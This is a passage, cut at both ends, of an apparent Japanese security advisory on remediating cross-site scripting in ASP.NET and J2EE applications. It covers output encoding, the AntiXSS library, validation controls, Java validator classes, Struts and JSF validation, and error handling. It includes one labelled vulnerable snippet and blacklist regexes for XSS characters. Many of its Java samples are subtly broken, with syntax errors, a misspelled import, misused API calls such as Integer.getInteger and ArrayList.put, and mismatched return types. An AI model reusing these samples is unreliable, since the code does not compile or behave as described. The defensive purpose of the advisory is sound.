の脆弱性が解決されません。要求から得られる他のデータがアプリケーション・サーバーやアプリケーションで反映されて、それを開発チームが予期していないということは、珍しくありません。また、現在は反映されていないフィールドを、今後、開発者が使用することがあります。そのため、HTTP 要求のすべての部分を検証することをお勧めします。
入力を検証することで多少の多層防御が行われる可能性がありますが、XSS
対策として最も有効なソリューションは、適切に出力をエンコードし、エスケープし、引用することです。入力を検証することで、出力に表示されるものが効果的に制限されます。入力を検証したからといって必ずしも XSS が防止されるわけではありません
(特に、任意の文字を含めることができるフリー・フォーム・テキスト・フィールドをサポートする必要がある場合)。例えば、チャット・アプリケーションでは、ハートのエモーティコン (「<3」)
は、一般的に使用されるため、検証ステップをパスすると考えられます。しかし、「<」文字が含まれているため、このエモーティコンを Web
ページに直接挿入することはできません。エスケープするなどの処理が必要となります。この場合、「<」を除去すれば、XSS
のリスクは減りますが、エモーティコンが記録されないため、動作は正しいものではなくなります。これは取るに足りない問題のようにも考えられますが、不等式を表す必要がある数学的なフォーラムでは重要な問題となります。
検証で間違いを犯しても (例えば、100 個の入力フィールドのうち 1
つを忘れるなどしても)、エンコードが適切であれば、インジェクション・ベースの攻撃からは依然として保護されます。単独のプロパティーのみを対象にしなければ、入力検証は依然として有効な方法です。入力を検証することで攻撃対象領域が大幅に減り、一部の攻撃を検出できるようになり、正しいエンコードでは扱われない他のセキュリティー上の利点がもたらされる可能性があります。
入力検証は、アプリケーション内で、十分に定義されたインターフェースにおいて行ってください。こうすることで、コンポーネントを再利用したり別の場所に移動したりしてもアプリケーションを保護できます。

## 推奨される修正 － ASP.NET

[1] ご使用のサーバーを .NET Framework 2.0 (またはそれ以降)
にアップグレードすることをお勧めします。このアップグレード版には、クロスサイト・スクリプティング攻撃に対する保護を行う、固有のセキュリティー・チェックが含まれています。
[2] 検証コントロールを使用すると、Web Forms
ページに入力検証機能を追加できます。検証コントロールは、すべての一般的なタイプの標準的検証
(たとえば、範囲内の有効なデータまた値のテスト)
を行うための使いやすいメカニズムを提供しています。検証コントロールは、カスタム記述した検証もサポートしており、ユーザーに対してエラー情報を表示する方法を完全にカスタマイズすることができます。検証コントロールは、HTML と Web サーバー・コントロールの両方を含む Web のフォーム・ページのクラス・ファイルで処理される任意のコントロールとともに使用することができます。

ユーザーの入力が正しい値だけであることを確かめるために、次の検証コントロールの 1 つを使うことができます。

[1] 「RangeValidator」: ユーザーのエントリー (値)
が指定された下限と上限の間であることをチェックします。数字、英字、および日付のペアで示した範囲をチェックすることができます。

[2] 「RegularExpressionValidator」:
正規表現により定義されたパターンとエントリーが一致していることをチェックします。この検証タイプにより、社会保障番号、電子メール・アドレス、電話番号、郵便番号等といった予想可能な文字のシーケンスをチェックできます。

クロスサイト・スクリプティングのブロックに役立つ可能性のある正規表現の例:

－ 基本的なクロスサイト・スクリプティングのバリアントを拒否する正規表現として以下のものが考えられます。^([^<]|¥<[^a-zA-Z])*[<]?$
－ 上記のすべての文字を拒否する汎用正規表現として以下のものが考えられます。^([^¥<¥>¥"¥'¥%¥;¥)¥(¥&¥+]*)$

重要な注意事項:
検証コントロールは、ユーザーの入力をブロックしたりページ処理のフローを変更することはありません。エラー・ステータスを設定し、エラー・メッセージを送出するだけです。アプリケーション固有のアクションをさらに実行する前に、プログラマーは必ずコード内のコントロールの状態をテストしてください。

ユーザーの入力を検証する方法には 2 つの方法があります:

1. 一般的なエラー状態のテスト:
コードで、ページの IsValid プロパティーをテストしてください。 このプロパティーは、ページの全検証コントロールの IsValid
プロパティーの値の論理和を結果として返します。検証コントロールの 1 つが無効に設定されている場合、ページのプロパティーは false
を返します。

2. 各コントロールのエラー状態のテスト:
ページの Validators コレクション (すべての検証コントロールへの参照を含みます)
に含まれるものをチェックしてください。そうすることで、各検証コントロールの IsValid
プロパティーを調べることが可能となります。最後に、Microsoft Anti-Cross Site Scripting Library (v1.5 以上)
を使用して、信頼できないユーザー入力をエンコードすることをお勧めします。

Anti-Cross Site Scripting Library は、以下のメソッドを公開しています。

[1] HtmlEncode － HTML で使用される入力文字列をエンコードします。
[2] HtmlAttributeEncode － HTML 属性で使用される入力文字列をエンコードします。
[3] JavaScriptEncode － JavaScript で使用される入力文字列をエンコードします。
[4] UrlEncode － Universal Resource Locator (URL) で使用される入力文字列をエンコードします。
[5] VisualBasicScriptEncode － Visual Basic Script で使用される入力文字列をエンコードします。
[6] XmlEncode － XML で使用される入力文字列をエンコードします。

[7] XmlAttributeEncode - XML 属性で使用される入力文字列をエンコードします。

Microsoft Anti-Cross Site Scripting Library を適切に使用して ASP.NET Web
アプリケーションを保護するためには、以下を実行する必要があります。

ステップ 1: 出力を生成する ASP.NET コードを見直す
ステップ 2: 信頼できない入力パラメーターが出力に含まれているか判別する
ステップ 3: 信頼できない入力が出力として使用されるコンテキストを判別し、使用するエンコード・メソッドを決定する
ステップ 4: 出力をエンコードする

ステップ 3 の例:

注: 信頼できない入力が HTML 属性の設定に使用される場合は、Microsoft.Security.Application.HtmlAttributeEncode
メソッドを使用して信頼できない入力をエンコードする必要があります。
また、信頼できない入力が JavaScript のコンテキストで使用される場合は、Microsoft.Security.Application.JavaScriptEncode
を使用してエンコードする必要があります。

```
// Vulnerable code
// Note that untrusted input is being treated as an HTML attribute
Literal1.Text = "<hr noshade size=[untrusted input here]>";


// Modified code
Literal1.Text = "<hr noshade size="+Microsoft.Security.Application.AntiXss.HtmlAttributeEncode([untrusted input here])+">";
```

ステップ 4 の例:
出力のエンコードについて留意すべき重要事項を以下にいくつか挙げます。

[1] 出力は 1 回、エンコードする必要があります。
[2] 出力のエンコードは、できるだけ、出力の実際の書き込みの近くで行う必要があります。
例えば、アプリケーションがユーザー入力を読み込み、その入力を処理してから何らかの形式でそれを再度書き込む場合は、エンコードは出力
が書き込まれる直前に行われる必要があります。

```
// Incorrect sequence
protected void Button1_Click(object sender, EventArgs e)
{
    // Read input
    String Input = TextBox1.Text;
    // Encode untrusted input
    Input = Microsoft.Security.Application.AntiXss.HtmlEncode(Input);
    // Process input
    ...
    // Write Output
    Response.Write("The input you gave was"+Input);
}


// Correct Sequence
protected void Button1_Click(object sender, EventArgs e)
{
    // Read input
    String Input = TextBox1.Text;
    // Process input
    ...
    // Encode untrusted input and write output
    Response.Write("The input you gave was"+
        Microsoft.Security.Application.AntiXss.HtmlEncode(Input));
}
```

## 推奨される修正 - J2EE

** 入力データの検証

ユーザーの利便性のためにユーザー検証をクライアント層で行うこともできます。しかし、Servlet
を使用するデータ検証はサーバー層で行う必要があります。 クライアント側のデータ検証は、例えば Javascript
を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、上記ルーチンを Validator ユーティリティー・クラスの静的メソッドとして実装することです。次のセクションでは、validator
クラスの例について説明します。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。

次に、要求されたフィールドを検証する例を示します。

```
// Java example to validate required fields
public Class Validator {
    …
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    …
}
…
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。
フィールドの値を希望するプリミティブなデータ型に安全に変換できるかどうかをチェックするには、Java プリミティブ・ラッパー・クラスを使用します。

次に、数値フィールド (int 型) を検証する例を示します。

```
// Java example to validate that a field is an int number
public Class Validator {
    …
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    …
}
…
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

効果的な方法は、HTTP 要求パラメーターをすべて対応するデータ型に変換することです。例えば、次の例に示すように、開発者は、要求パラメーターの「integerValue」を要求属性に格納して使用します。

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
…
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
…
```

アプリケーションが処理する必要がある Java の主なデータ型は次のとおりです。
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

次に、userName フィールドの長さが 8 文字から 20 文字までの間であることを検証する例を示します。

```
// Example to validate the field length
```

```
public Class Validator {
    …
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    …
}
…
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        …
    }
}
```

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

入力データ numberOfChoices の値が 10 から 20 の間であることを検証する例を示します。

```
// Example to validate the field range
public Class Validator {
    …
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    …
}
…
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            …
        }
    }
}
```

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT
HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

許可されたオプションのリストに対してユーザーの選択を検証する例を示します。

```
// Example to validate user selection against a list of options
public Class Validator {
    …
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    …
}
…
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    …
}
```

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName
フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]*$

Java 1.3 またはそれ以前のバージョンには、正規表現パッケージが含まれていません。 Java 1.3 ではサポートされないため、Apache Regular Expression Package (下記のリソースを参照) を使用することを推奨します。 正規表現で検証を実行する例を示します。

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            RE r = new RE(expression);
            match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alphanumeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 には、新しく正規表現パッケージ (java.util.regex) が導入されています。 新しい Java 1.4 の正規表現パッケージを使用した Validator.matchPattern の変更バージョンは以下のようになります。

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie の値: Cookie の値を検証するために javax.servlet.http.Cookie オブジェクトを使用してください。アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

要求された Cookie の値を検証する例は次のとおりです。

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP 応答 - [8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、危険な文字を対応する文字エンティティーに変換して、HTML をサニタイズします。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

危険な文字を対応する文字エンティティーに変換して、指定された文字列をフィルタリングする例は次のとおりです。

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
```

```
            for (int i=0; i<value.length(); ++i) {
                switch (value.charAt(i)) {
                case '<':
                    result.append("&lt;");
                    break;
                case '>':
                    result.append("&gt;");
                    break;
                case '"':
                    result.append("&quot;");
                    break;
                case '¥'':
                    result.append("&#39;");
                    break;
                case '%':
                    result.append("&#37;");
                    break;
                case ';':
                    result.append("&#59;");
                    break;
                case '(':
                    result.append("&#40;");
                    break;
                case ')':
                    result.append("&#41;");
                    break;
                case '&':
                    result.append("&amp;");
                    break;
                case '+':
                    result.append("&#43;");
                    break;
                default:
                    result.append(value.charAt(i));
                    break;
                }
            return result;
        }
        ...
    }
    ...
    // Filter the HTTP response using Validator.filter
    PrintWriter out = response.getWriter();
    // set output response
    out.write(Validator.filter(response));
    out.close();
```

Java Servlet API 2.3 にはフィルターが導入されており、HTTP
リクエストまたはレスポンスをインターセプトして変換する機能をサポートしています。

Validator.filter を使用して応答をサニタイズする Servlet フィルターの使用例は次のとおりです。

```
    // Example to filter all sensitive characters in the HTTP response using a Java Filter.
    // This example is for illustration purposes since it will filter all content in the response, including HTML tags!
    public class SensitiveCharsFilter implements Filter {
        ...
        public void doFilter(ServletRequest request,
                             ServletResponse response,
                             FilterChain chain)
                throws IOException, ServletException {

            PrintWriter out = response.getWriter();
            ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
            chain.doFilter(request, wrapper);

            CharArrayWriter caw = new CharArrayWriter();
            caw.write(Validator.filter(wrapper.toString()));

            response.setContentType("text/html");
            response.setContentLength(caw.toString().length());
            out.write(caw.toString());
            out.close();
        }
        ...
        public class CharResponseWrapper extends HttpServletResponseWrapper {
            private CharArrayWriter output;

            public String toString() {
                return output.toString();
            }

            public CharResponseWrapper(HttpServletResponse response){
                super(response);
                output = new CharArrayWriter();
```

```
        }

        public PrintWriter getWriter(){
            return new PrintWriter(output);
        }
    }
}

}
```

[8-2] Cookie のセキュリティー保護: Cookie に機密データを保存する場合、HTTPS や SSL などの安全なプロトコルを利用して Cookie が送信されるようにブラウザーに指示するために、Cookie.setSecure(boolean flag) を使用して HTTP 応答の Cookie のセキュリティー・フラグが設定されるようにしてください。

「user」の Cookie をセキュリティー保護する例は次のとおりです。

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推奨される Java ツール・サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合): Jakarta Commons Validator は、上記のデータ検証仕様をすべて実装する強力なフレームワークです。これらの規則は、フォーム・フィールドの入力認証規則を定義する XML ファイルで構成されています。 Struts の [bean:write] タグを使用することで、記述された全データに対する [8] HTTP 応答の危険な文字の出力フィルタリングを Struts がデフォルトでサポートしています。
このフィルタリングは、「filter=false」フラグを設定することにより無効にできます。

Struts は次の基本的な入力検証を定義しますが、カスタム検証が定義される場合もあります。
required: フィールドに空白以外の文字が含まれている場合に成功します。
mask: 値がマスク属性によって与えられた正規表現に一致する場合に成功します。
range: 値が min 属性および max 属性により与えられた値 ((value >= min) および (value <= max)) の範囲内である場合に成功します。
maxLength: フィールドの長さが max 属性以下である場合に成功します。
minLength: フィールドの長さが min 属性以上である場合に成功します。
byte、short、integer、long、float、double: 値を対応するプリミティブ型に変換できる場合に成功します。
date: 値が有効な日付を示す場合に成功します。日付のパターンを指定することも可能です。
creditCard: 値が有効なクレジット・カードの番号である場合に成功します。
e-mail: 値が有効な電子メール・アドレスである場合に成功します。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
    <global>
        ...
        <validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理、および入力の検証を行う、一連の Java API (JSR 127) です。

JavaServer Faces API は次の基本的な検証を実装しますが、カスタム検証も定義される場合があります。
validate_doublerange: コンポーネントの DoubleRangeValidator を登録します。
validate_length: コンポーネントの LengthValidator を登録します。
validate_longrange: コンポーネントの LongRangeValidator を登録します。
validate_required: コンポーネントの RequiredValidator を登録します。
validate_stringrange: コンポーネントの StringRangeValidator を登録します。
validator: コンポーネントのカスタムの Validator を登録します。

JavaServer Faces API は、次の UIInput および UIOutput Renderers (Tags) を定義します。
input_date: java.text.Date インスタンスでフォーマットされた java.util.Date を受け取ります。
output_date: java.text.Date インスタンスでフォーマットされた java.util.Date を表示します。
input_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を受け取ります。
output_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を表示します。
input_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
output_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
input_text: 1 行の文字列を受け取ります。
output_text: 1 行の文字列を表示します。
input_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を受け取ります。
output_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を表示します。
input_hidden: ページの作成者がページで hidden 変数を使用することを許可します。
input_secret: 空白なしの 1 行のテキストを受け取り、入力の度にアスタリスクのセットとして表示します。
input_textarea: 複数行のテキストを受け取ります。
output_errors: ページ全体のエラー・メッセージまたは指定のクライアント識別子に関連するエラー・メッセージを表示します。
output_label: ネストされたコンポーネントを指定インプット・フィールドのラベルとして表示します。
output_message: 配置されたメッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
   class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
       <f:validate_required/>
       <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** エラーの処理:

多くの J2EE Web アプリケーション・アーキテクチャーは Model View Controller (MVC) パターンに準拠しています。このパターンでは、Servlet は Controller として動作します。Servlet はアプリケーションの処理を EJB Session Bean (Model) のような JavaBean に委託します。次に、Servlet は要求を JSP (View) に転送して、処理の結果をレンダリングします。必要な処理が実際に行われたことを確認するために、Servlet はすべての入力、出力、リターン・コード、エラー・コード、および既知の例外をチェックする必要があります。

データの検証は悪意のあるデータの改ざんからアプリケーションを保護することはできますが、アプリケーションが内部的なエラー・メッセージ (例外スタック・トレースなど)
を不注意で公開するような状況を防ぐには、適切なエラー処理を実行するための方策が必要です。適切なエラー処理の方策を立てる際には、次の点に注意します。

[1] エラーの定義
[2] エラーの報告
[3] エラーのレンダリング
[4] エラーのマッピング

[1] エラーの定義: アプリケーション・レイヤー (Servlet など)
でのハード・コーディングされたエラー・メッセージは避けてください。アプリケーションには既知のアプリケーション障害にマップするエラー・キーを使用するようにしてください。効果的な方法は、HTML フォーム・フィールドや他の Bean
プロパティーの検証規則にマップするエラー・キーを定義することです。例えば「user_name」フィールドが必須フィールドであり、このフィールドには英数字を入力する必要があり、さらにデータベース内で他に同じ名前が存在してはならない場合は、次のようなエラー・キーを定義します。

(a) ERROR_USERNAME_REQUIRED:
このエラー・キーを使用すると、「user_name」フィールドが必須フィールドであることをユーザーに通知するメッセージが表示されます。
(b) ERROR_USERNAME_ALPHANUMERIC:
このエラー・キーを使用すると、「user_name」フィールドの値が英数字でなければならないことをユーザーに通知するメッセージが表示されます。
(c) ERROR_USERNAME_DUPLICATE:
このエラー・キーを使用すると、「user_name」の値がデータベース内で重複していることをユーザーに通知するメッセージが表示されます。
(d) ERROR_USERNAME_INVALID:
このエラー・キーを使用すると、「user_name」の値が無効であることをユーザーに通知する一般的なメッセージが表示されます。

効果的な方法は、アプリケーション・エラーを格納および報告するために使用する、次のようなフレームワーク Java クラスを定義することです。
- ErrorKeys: すべてのエラー・キーを定義します。

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 個々のエラーをカプセル化します。

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

   // Constructor given a specified error key
   public Error(String key) {
      this(key, null);
   }

   // Constructor given a specified error key and array of placeholder objects
   public Error(String key, Object[] values) {
      this.key = key;
      this.values = values;
   }

   // Returns the error key
   public String getKey() {
      return this.key;
   }

   // Returns the placeholder values
   public Object[] getValues() {
      return this.values;
   }

   private String key = null;
   private Object[] values = null;
}
```

- Errors: エラーの集合をカプセル化します。

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {

   // Adds an Error object to the Collection of errors for the specified bean property.
   public void addError(String property, Error error) {
      ArrayList propertyErrors = (ArrayList)errors.get(property);
      if (propertyErrors == null) {
         propertyErrors = new ArrayList();
         errors.put(property, propertyErrors);
      }
      propertyErrors.put(error);
   }

   // Returns true if there are any errors
   public boolean hasErrors() {
      return (errors.size > 0);
   }

   // Returns the Errors for the specified property
   public ArrayList getErrors(String property) {
      return (ArrayList)errors.get(property);
   }

   private HashMap errors = new HashMap();
}
```

次に、上記フレームワーク・クラスを使用して、「user_name」フィールドの検証エラーを処理する例を示します。

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
```

```
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
    }
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] エラーの報告: Web 層のアプリケーション・エラーを報告する方法は 2 つあります。
(a) Servlet エラー・メカニズム
(b) JSP エラー・メカニズム

[2-a] Servlet エラー・メカニズム:
Servlet は次の方法のいずれかでエラーを報告します。
- 入力 JSP へ転送する (すでにエラーを要求属性に格納している)
- HTTP エラー・コードを引数として response.sendError を呼び出す
- 例外をスローする

効果的な方法は、既知のアプリケーション・エラー (セクション [1] を参照) をすべて処理し、要求属性にそれらを格納し、入力 JSP に転送することです。入力 JSP はエラー・メッセージを表示して、ユーザーにデータを入力し直すように促す必要があります。 次に、入力 JSP (userInput.jsp) に転送する例を示します。

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

Servletが既知のJSPページに転送できない場合、2番目の選択肢は、HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状態コード500)を引数としてresponse.sendErrorメソッドを呼び出す方法です。 さまざまな HTTP 状態コードの詳細については、javax.servlet.http.HttpServletResponse の javadoc を参照してください。 次に、HTTP エラーを返す例を示します。

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                       messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

最後の手段として、Servlet は例外をスローすることができます。この例外は、次のクラスのうちの 1 つのサブクラスである必要があります。
- RuntimeException
- ServletException
- IOException

[2-b] JSP エラー・メカニズム
JSP ページには、次の例のように errorPage ディレクティブを定義して、実行時例外を処理する機能があります。

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

エラー・トラップできない JSP の例外は指定された errorPage に転送され、オリジナルの例外は javax.servlet.jsp.jspException と呼ばれる要求パラメーターとして設定されます。 エラー・ページは、isErrorPage 命令を含んでいる必要があります:

```
<%@ page isErrorPage="true" %>
```

isErrorPage ディレクティブが指定されると、「exception」変数はスローされる例外オブジェクトに初期化されます。

[3] エラーのレンダリング: J2SE Internationalization API は、アプリケーション・リソースを外部化し、メッセージをフォーマットする次のようなユーティリティー・クラスを提供します。

(a) リソース・バンドル
(b) メッセージ・フォーマット

[3-a] リソース・バンドル:
リソース・バンドルは、ローカライズされたデータとそれを使用するソース・コードを分離することによって国際化対応をサポートします。各リソース・バンドルは、特定のロケールに対するキーと値のペアのマッピングを格納しています。

通常は java.util.PropertyResourceBundle を使用または拡張して、外部プロパティー・ファイルにコンテンツを格納します。次に例を示します。

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

異なるロケールをサポートするために、複数のリソースを定義できます
(これが「リソース・バンドル」という名前の由来)。例えば、バンドル・ファミリーのフランス語をサポートするために ErrorMessages_fr.properties を定義できます。 要求されたロケールのリソースが存在しない場合は、デフォルトのメンバーが使用されます。
上記例では、デフォルトのリソースは ErrorMessages.properties です。 アプリケーション (JSP または Servlet) はユーザーのロケールに従って適切なリソースからコンテンツを取得します。

[3-b] メッセージ・フォーマット: J2SE 標準クラス java.util.MessageFormat は、置換プレースホルダー付きのメッセージを作成する一般的な方法です。MessageFormat オブジェクトは、次のような書式指示子が埋め込まれたパターン文字列を持っています。

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

次に、より理解しやすい例として、ResourceBundle と MessageFormat を使用してエラー・メッセージを表示する例を示します。

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

